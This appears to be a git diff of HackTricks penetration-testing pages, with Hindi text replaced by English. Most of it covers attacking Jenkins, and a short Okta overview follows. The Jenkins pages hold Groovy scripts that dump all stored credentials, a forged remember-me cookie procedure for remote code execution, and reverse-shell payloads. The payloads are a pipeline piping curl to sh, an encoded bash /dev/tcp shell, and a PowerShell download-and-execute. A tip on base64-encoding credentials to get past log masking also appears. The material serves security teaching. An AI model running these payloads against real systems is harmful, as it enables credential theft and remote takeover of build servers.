क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) के लिए स्कोप किया जा सकता है जिन्हें किसी भी कॉन्फ़िगर की गई परियोजना द्वारा एक्सेस किया जा सकता है, या उन्हें **विशिष्ट परियोजनाओं** (`/job/<project-name>/configure`) के लिए स्कोप किया जा सकता है और इसलिए केवल विशिष्ट परियोजना से ही एक्सेस किया जा सकता है।
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
|
||||
|
||||
[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) के अनुसार: स्कोप में क्रेडेंशियल्स पाइपलाइन के लिए बिना किसी सीमा के उपलब्ध होते हैं। **निर्माण लॉग में आकस्मिक प्रदर्शन को रोकने के लिए**, क्रेडेंशियल्स को नियमित आउटपुट से **मास्क किया जाता है**, इसलिए `env` (Linux) या `set` (Windows) का एक आह्वान, या अपने वातावरण या पैरामीटर को प्रिंट करने वाले कार्यक्रमों को **निर्माण लॉग में उन्हें प्रकट नहीं करेगा** उन उपयोगकर्ताओं के लिए जिनके पास अन्यथा क्रेडेंशियल्स तक पहुँच नहीं होगी।
|
||||
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
|
||||
|
||||
**इसलिए क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए एक हमलावर को, उदाहरण के लिए, उन्हें base64 करना होगा।**
|
||||
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
|
||||
|
||||
## References
|
||||
|
||||
@@ -92,3 +92,6 @@ Jenkins को **तीसरे पक्ष के SSO के माध्य
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
इस ब्लॉग पोस्ट में Jenkins में Local File Inclusion भेद्यता को RCE में बदलने का एक शानदार तरीका पाया जा सकता है: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
|
||||
यह एक AI द्वारा बनाई गई संक्षेप है उस पोस्ट के भाग की जहां एक मनमाना कुकी का निर्माण RCE प्राप्त करने के लिए स्थानीय फ़ाइल पढ़ने का दुरुपयोग किया जाता है जब तक कि मेरे पास अपने स्वयं के संक्षेप को बनाने का समय न हो:
|
||||
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
|
||||
|
||||
### Attack Prerequisites
|
||||
|
||||
- **Feature Requirement:** "Remember me" सक्षम होना चाहिए (डिफ़ॉल्ट सेटिंग)।
|
||||
- **Access Levels:** हमलावर को Overall/Read अनुमतियाँ चाहिए।
|
||||
- **Secret Access:** प्रमुख फ़ाइलों से बाइनरी और पाठ्य सामग्री पढ़ने की क्षमता।
|
||||
- **Feature Requirement:** "Remember me" must be enabled (default setting).
|
||||
- **Access Levels:** Attacker needs Overall/Read permissions.
|
||||
- **Secret Access:** Ability to read both binary and textual content from key files.
|
||||
|
||||
### Detailed Exploitation Process
|
||||
|
||||
@@ -18,88 +18,91 @@
|
||||
|
||||
**User Information Retrieval**
|
||||
|
||||
- प्रत्येक उपयोगकर्ता के लिए `$JENKINS_HOME/users/*.xml` से उपयोगकर्ता कॉन्फ़िगरेशन और रहस्यों तक पहुँचें:
|
||||
- **Username**
|
||||
- **User seed**
|
||||
- **Timestamp**
|
||||
- **Password hash**
|
||||
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
|
||||
- **Username**
|
||||
- **User seed**
|
||||
- **Timestamp**
|
||||
- **Password hash**
|
||||
|
||||
**Secret Key Extraction**
|
||||
|
||||
- कुकी पर हस्ताक्षर करने के लिए उपयोग किए जाने वाले क्रिप्टोग्राफिक कुंजियों को निकालें:
|
||||
- **Secret Key:** `$JENKINS_HOME/secret.key`
|
||||
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
- Extract cryptographic keys used for signing the cookie:
|
||||
- **Secret Key:** `$JENKINS_HOME/secret.key`
|
||||
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
|
||||
#### Step 2: Cookie Forging
|
||||
|
||||
**Token Preparation**
|
||||
|
||||
- **Token Expiry Time की गणना करें:**
|
||||
- **Calculate Token Expiry Time:**
|
||||
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // वर्तमान समय में एक घंटा जोड़ें
|
||||
```
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
|
||||
```
|
||||
|
||||
- **Token के लिए डेटा को संयोजित करें:**
|
||||
- **Concatenate Data for Token:**
|
||||
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
|
||||
**MAC Key Decryption**
|
||||
|
||||
- **MAC Key File को डिक्रिप्ट करें:**
|
||||
- **Decrypt MAC Key File:**
|
||||
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // मास्टर कुंजी को AES128 कुंजी प्रारूप में परिवर्तित करें
|
||||
decrypted = AES.decrypt(macFile, key) // .mac फ़ाइल को डिक्रिप्ट करें
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Convert master key to AES128 key format
|
||||
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
|
||||
**Signature Computation**
|
||||
|
||||
- **HMAC SHA256 की गणना करें:**
|
||||
- **Compute HMAC SHA256:**
|
||||
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // टोकन और MAC कुंजी का उपयोग करके HMAC की गणना करें
|
||||
tokenSignature = bytesToHexString(mac) // MAC को हेक्साडेसिमल स्ट्रिंग में परिवर्तित करें
|
||||
```
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
|
||||
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
|
||||
```
|
||||
|
||||
**Cookie Encoding**
|
||||
|
||||
- **अंतिम कुकी उत्पन्न करें:**
|
||||
- **Generate Final Cookie:**
|
||||
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // कुकी डेटा को Base64 में एन्कोड करें
|
||||
```
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Base64 encode the cookie data
|
||||
```
|
||||
|
||||
#### Step 3: Code Execution
|
||||
|
||||
**Session Authentication**
|
||||
|
||||
- **CSRF और सत्र टोकन प्राप्त करें:**
|
||||
- `/crumbIssuer/api/json` पर एक अनुरोध करें ताकि `Jenkins-Crumb` प्राप्त किया जा सके।
|
||||
- प्रतिक्रिया से `JSESSIONID` को कैप्चर करें, जिसका उपयोग याद रखने वाली कुकी के साथ किया जाएगा।
|
||||
- **Fetch CSRF and Session Tokens:**
|
||||
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
|
||||
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
|
||||
|
||||
**Command Execution Request**
|
||||
|
||||
- **Groovy Script के साथ POST अनुरोध भेजें:**
|
||||
- **Send a POST Request with Groovy Script:**
|
||||
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
|
||||
- Groovy स्क्रिप्ट का उपयोग सिस्टम-स्तरीय कमांड या Jenkins वातावरण के भीतर अन्य संचालन को निष्पादित करने के लिए किया जा सकता है।
|
||||
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
|
||||
|
||||
उदाहरण curl कमांड दिखाता है कि कैसे आवश्यक हेडर और कुकी के साथ Jenkins को अनुरोध भेजा जाए ताकि मनमाना कोड सुरक्षित रूप से निष्पादित किया जा सके।
|
||||
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,9 +3,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि ये स्क्रिप्ट केवल `credentials.xml` फ़ाइल के अंदर के रहस्यों को सूचीबद्ध करेंगी, लेकिन **बिल्ड कॉन्फ़िगरेशन फ़ाइलों** में भी **अधिक क्रेडेंशियल्स** हो सकते हैं।
|
||||
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
|
||||
|
||||
आप `/script` में **Groovy Script कंसोल से सभी रहस्यों को डंप** करने के लिए यह कोड चला सकते हैं।
|
||||
```java
|
||||
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
|
||||
import jenkins.model.*
|
||||
@@ -41,45 +42,51 @@ showRow("something else", it.id, '', '', '')
|
||||
|
||||
return
|
||||
```
|
||||
#### या यह:
|
||||
|
||||
#### or this one:
|
||||
|
||||
```java
|
||||
import java.nio.charset.StandardCharsets;
|
||||
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
)
|
||||
|
||||
for (c in creds) {
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,36 +2,41 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## एक नया पाइपलाइन बनाना
|
||||
## Creating a new Pipeline
|
||||
|
||||
"New Item" में (जो `/view/all/newJob` पर उपलब्ध है) **Pipeline** का चयन करें:
|
||||
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
|
||||
|
||||
.png>)
|
||||
|
||||
**Pipeline सेक्शन** में **reverse shell** लिखें:
|
||||
In the **Pipeline section** write the **reverse shell**:
|
||||
|
||||
.png>)
|
||||
|
||||
```groovy
|
||||
pipeline {
|
||||
agent any
|
||||
agent any
|
||||
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
अंत में **Save** पर क्लिक करें, और **Build Now** पर क्लिक करें और पाइपलाइन निष्पादित होगी:
|
||||
|
||||
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
|
||||
|
||||
.png>)
|
||||
|
||||
## पाइपलाइन को संशोधित करना
|
||||
## Modifying a Pipeline
|
||||
|
||||
यदि आप किसी कॉन्फ़िगर की गई पाइपलाइन की कॉन्फ़िगरेशन फ़ाइल तक पहुँच सकते हैं, तो आप बस **अपना रिवर्स शेल जोड़कर इसे संशोधित** कर सकते हैं और फिर इसे निष्पादित करें या जब तक यह निष्पादित न हो जाए तब तक प्रतीक्षा करें।
|
||||
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,33 +4,36 @@
|
||||
|
||||
## Creating a Project
|
||||
|
||||
यह विधि बहुत शोर करती है क्योंकि आपको एक नया प्रोजेक्ट बनाना होता है (स्पष्ट है कि यह केवल तभी काम करेगा जब आपके उपयोगकर्ता को नया प्रोजेक्ट बनाने की अनुमति हो)।
|
||||
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
|
||||
|
||||
1. **एक नया प्रोजेक्ट बनाएं** (Freestyle project) "New Item" पर क्लिक करके या `/view/all/newJob` में।
|
||||
2. **Build** अनुभाग के अंदर **Execute shell** सेट करें और एक powershell Empire launcher या एक meterpreter powershell पेस्ट करें (जो _unicorn_ का उपयोग करके प्राप्त किया जा सकता है)। _PowerShell.exe_ के साथ पेलोड शुरू करें, _powershell_ का उपयोग करने के बजाय।
|
||||
3. **Build now** पर क्लिक करें।
|
||||
1. यदि **Build now** बटन नहीं दिखाई देता है, तो आप अभी भी **configure** --> **Build Triggers** --> `Build periodically` पर जा सकते हैं और `* * * * *` का क्रोन सेट कर सकते हैं।
|
||||
2. क्रोन का उपयोग करने के बजाय, आप "**Trigger builds remotely**" कॉन्फ़िगरेशन का उपयोग कर सकते हैं जहाँ आपको केवल नौकरी को ट्रिगर करने के लिए API टोकन नाम सेट करने की आवश्यकता है। फिर अपने उपयोगकर्ता प्रोफ़ाइल पर जाएं और **एक API टोकन उत्पन्न करें** (इस API टोकन को उसी नाम से कॉल करें जैसा आपने नौकरी को ट्रिगर करने के लिए API टोकन को कहा था)। अंततः, नौकरी को ट्रिगर करें: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
|
||||
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
|
||||
3. Click **Build now**
|
||||
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
|
||||
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
|
||||
.png>)
|
||||
|
||||
## Modifying a Project
|
||||
|
||||
प्रोजेक्ट पर जाएं और जांचें **क्या आप उनमें से किसी को कॉन्फ़िगर कर सकते हैं** ( "Configure button" की तलाश करें):
|
||||
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
|
||||
|
||||
.png>)
|
||||
|
||||
यदि आप **कोई** **कॉन्फ़िगरेशन** **बटन** नहीं देख सकते हैं तो आप **इसे कॉन्फ़िगर नहीं कर सकते** (लेकिन सभी प्रोजेक्ट्स की जांच करें क्योंकि आप उनमें से कुछ को कॉन्फ़िगर कर सकते हैं और कुछ को नहीं)।
|
||||
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
|
||||
|
||||
या **पथ तक पहुँचने का प्रयास करें** `/job/<proj-name>/configure` या `/me/my-views/view/all/job/<proj-name>/configure` \_\_ प्रत्येक प्रोजेक्ट में (उदाहरण: `/job/Project0/configure` या `/me/my-views/view/all/job/Project0/configure`)।
|
||||
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
|
||||
|
||||
## Execution
|
||||
|
||||
यदि आपको प्रोजेक्ट को कॉन्फ़िगर करने की अनुमति है तो आप **इसे सफल निर्माण पर कमांड निष्पादित करने के लिए बना सकते हैं**:
|
||||
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
|
||||
|
||||
.png>)
|
||||
|
||||
**Save** पर क्लिक करें और प्रोजेक्ट को **build** करें और आपका **कमांड निष्पादित होगा**।\
|
||||
यदि आप एक रिवर्स शेल निष्पादित नहीं कर रहे हैं बल्कि एक साधारण कमांड कर रहे हैं, तो आप **निर्माण के आउटपुट के अंदर कमांड का आउटपुट देख सकते हैं**।
|
||||
Click on **Save** and **build** the project and your **command will be executed**.\
|
||||
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,21 +4,24 @@
|
||||
|
||||
## Jenkins RCE with Groovy Script
|
||||
|
||||
यह Jenkins में एक नया प्रोजेक्ट बनाने की तुलना में कम शोर करता है
|
||||
This is less noisy than creating a new project in Jenkins
|
||||
|
||||
1. Go to _path_jenkins/script_
|
||||
2. Inside the text box introduce the script
|
||||
|
||||
1. _path_jenkins/script_ पर जाएं
|
||||
2. टेक्स्ट बॉक्स के अंदर स्क्रिप्ट डालें
|
||||
```python
|
||||
def process = "PowerShell.exe <WHATEVER>".execute()
|
||||
println "Found text ${process.text}"
|
||||
```
|
||||
आप एक कमांड का निष्पादन कर सकते हैं: `cmd.exe /c dir`
|
||||
|
||||
**linux** में आप कर सकते हैं: **`"ls /".execute().text`**
|
||||
You could execute a command using: `cmd.exe /c dir`
|
||||
|
||||
यदि आपको टेक्स्ट के अंदर _quotes_ और _single quotes_ का उपयोग करने की आवश्यकता है। आप _"""PAYLOAD"""_ (ट्रिपल डबल कोट्स) का उपयोग करके पेलोड को निष्पादित कर सकते हैं।
|
||||
In **linux** you can do: **`"ls /".execute().text`**
|
||||
|
||||
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
|
||||
|
||||
**Another useful groovy script** is (replace \[INSERT COMMAND]):
|
||||
|
||||
**एक और उपयोगी groovy स्क्रिप्ट** है (स्थानापन्न \[INSERT COMMAND]):
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = '[INSERT COMMAND]'.execute()
|
||||
@@ -26,7 +29,9 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
### लिनक्स में रिवर्स शेल
|
||||
|
||||
### Reverse shell in linux
|
||||
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
|
||||
@@ -34,20 +39,28 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
### Windows में रिवर्स शेल
|
||||
|
||||
आप एक PS रिवर्स शेल के साथ HTTP सर्वर तैयार कर सकते हैं और इसे डाउनलोड और निष्पादित करने के लिए Jeking का उपयोग कर सकते हैं:
|
||||
### Reverse shell in windows
|
||||
|
||||
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
|
||||
|
||||
```python
|
||||
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
|
||||
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
|
||||
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
|
||||
```
|
||||
### स्क्रिप्ट
|
||||
|
||||
आप इस प्रक्रिया को [**इस स्क्रिप्ट**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) के साथ स्वचालित कर सकते हैं।
|
||||
### Script
|
||||
|
||||
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
|
||||
You can use MSF to get a reverse shell:
|
||||
|
||||
आप रिवर्स शेल प्राप्त करने के लिए MSF का उपयोग कर सकते हैं:
|
||||
```
|
||||
msf> use exploit/multi/http/jenkins_script_console
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,114 +1,117 @@
|
||||
# Okta सुरक्षा
|
||||
# Okta Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## बुनियादी जानकारी
|
||||
## Basic Information
|
||||
|
||||
[Okta, Inc.](https://www.okta.com/) पहचान और पहुंच प्रबंधन क्षेत्र में अपने क्लाउड-आधारित सॉफ़्टवेयर समाधानों के लिए पहचाना जाता है। ये समाधान विभिन्न आधुनिक अनुप्रयोगों में उपयोगकर्ता प्रमाणीकरण को सरल और सुरक्षित बनाने के लिए डिज़ाइन किए गए हैं। ये न केवल उन कंपनियों के लिए हैं जो अपने संवेदनशील डेटा की सुरक्षा करना चाहती हैं, बल्कि उन डेवलपर्स के लिए भी हैं जो अनुप्रयोगों, वेब सेवाओं और उपकरणों में पहचान नियंत्रण को एकीकृत करने में रुचि रखते हैं।
|
||||
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
|
||||
|
||||
Okta की प्रमुख पेशकश **Okta पहचान क्लाउड** है। यह प्लेटफ़ॉर्म उत्पादों का एक सूट शामिल करता है, जिसमें शामिल हैं लेकिन सीमित नहीं हैं:
|
||||
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
|
||||
|
||||
- **सिंगल साइन-ऑन (SSO)**: एक सेट के लॉगिन क्रेडेंशियल्स के माध्यम से कई अनुप्रयोगों में उपयोगकर्ता पहुंच को सरल बनाता है।
|
||||
- **मल्टी-फैक्टर प्रमाणीकरण (MFA)**: कई प्रकार के सत्यापन की आवश्यकता करके सुरक्षा को बढ़ाता है।
|
||||
- **लाइफसाइकिल प्रबंधन**: उपयोगकर्ता खाता निर्माण, अपडेट और निष्क्रियता प्रक्रियाओं को स्वचालित करता है।
|
||||
- **यूनिवर्सल डायरेक्टरी**: उपयोगकर्ताओं, समूहों और उपकरणों का केंद्रीकृत प्रबंधन सक्षम बनाता है।
|
||||
- **API एक्सेस प्रबंधन**: APIs तक पहुंच को सुरक्षित और प्रबंधित करता है।
|
||||
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
|
||||
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
|
||||
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
|
||||
- **Universal Directory**: Enables centralized management of users, groups, and devices.
|
||||
- **API Access Management**: Secures and manages access to APIs.
|
||||
|
||||
ये सेवाएँ सामूहिक रूप से डेटा सुरक्षा को मजबूत करने और उपयोगकर्ता पहुंच को सरल बनाने का लक्ष्य रखती हैं, जिससे सुरक्षा और सुविधा दोनों में सुधार होता है। Okta के समाधानों की बहुपरकारीता उन्हें विभिन्न उद्योगों में एक लोकप्रिय विकल्प बनाती है, जो बड़े उद्यमों, छोटे कंपनियों और व्यक्तिगत डेवलपर्स के लिए फायदेमंद है। सितंबर 2021 में अंतिम अपडेट के अनुसार, Okta पहचान और पहुंच प्रबंधन (IAM) क्षेत्र में एक प्रमुख इकाई के रूप में मान्यता प्राप्त है।
|
||||
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
|
||||
|
||||
> [!CAUTION]
|
||||
> Okta का मुख्य लक्ष्य विभिन्न उपयोगकर्ताओं और समूहों के लिए बाहरी अनुप्रयोगों तक पहुंच को कॉन्फ़िगर करना है। यदि आप **Okta** वातावरण में व्यवस्थापक विशेषाधिकारों को **समझौता** करने में सफल होते हैं, तो आप **संभवतः कंपनी द्वारा उपयोग किए जा रहे सभी अन्य प्लेटफार्मों को समझौता** करने में सक्षम होंगे।
|
||||
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
|
||||
|
||||
> [!TIP]
|
||||
> Okta वातावरण की सुरक्षा समीक्षा करने के लिए आपको **व्यवस्थापक केवल पढ़ने की पहुंच** के लिए पूछना चाहिए।
|
||||
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
|
||||
|
||||
### सारांश
|
||||
### Summary
|
||||
|
||||
यहाँ **उपयोगकर्ता** हैं (जो **Okta में संग्रहीत** हो सकते हैं, कॉन्फ़िगर किए गए **पहचान प्रदाताओं** से लॉग इन कर सकते हैं या **एक्टिव डायरेक्टरी** या LDAP के माध्यम से प्रमाणित हो सकते हैं)।\
|
||||
ये उपयोगकर्ता **समूहों** के अंदर हो सकते हैं।\
|
||||
यहाँ **प्रमाणक** भी हैं: प्रमाणीकरण के लिए विभिन्न विकल्प जैसे पासवर्ड, और कई 2FA जैसे WebAuthn, ईमेल, फोन, Okta Verify (इन्हें सक्षम या अक्षम किया जा सकता है)...
|
||||
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
|
||||
These users can be inside **groups**.\
|
||||
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
|
||||
|
||||
फिर, यहाँ **अनुप्रयोग** हैं जो Okta के साथ समन्वयित हैं। प्रत्येक अनुप्रयोग का कुछ **Okta के साथ मैपिंग** होगा ताकि जानकारी साझा की जा सके (जैसे ईमेल पते, पहले नाम...)। इसके अलावा, प्रत्येक अनुप्रयोग को एक **प्रमाणीकरण नीति** के अंदर होना चाहिए, जो यह दर्शाता है कि उपयोगकर्ता को अनुप्रयोग तक **पहुँचने** के लिए **आवश्यक प्रमाणक** क्या हैं।
|
||||
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
|
||||
|
||||
> [!CAUTION]
|
||||
> सबसे शक्तिशाली भूमिका **सुपर व्यवस्थापक** है।
|
||||
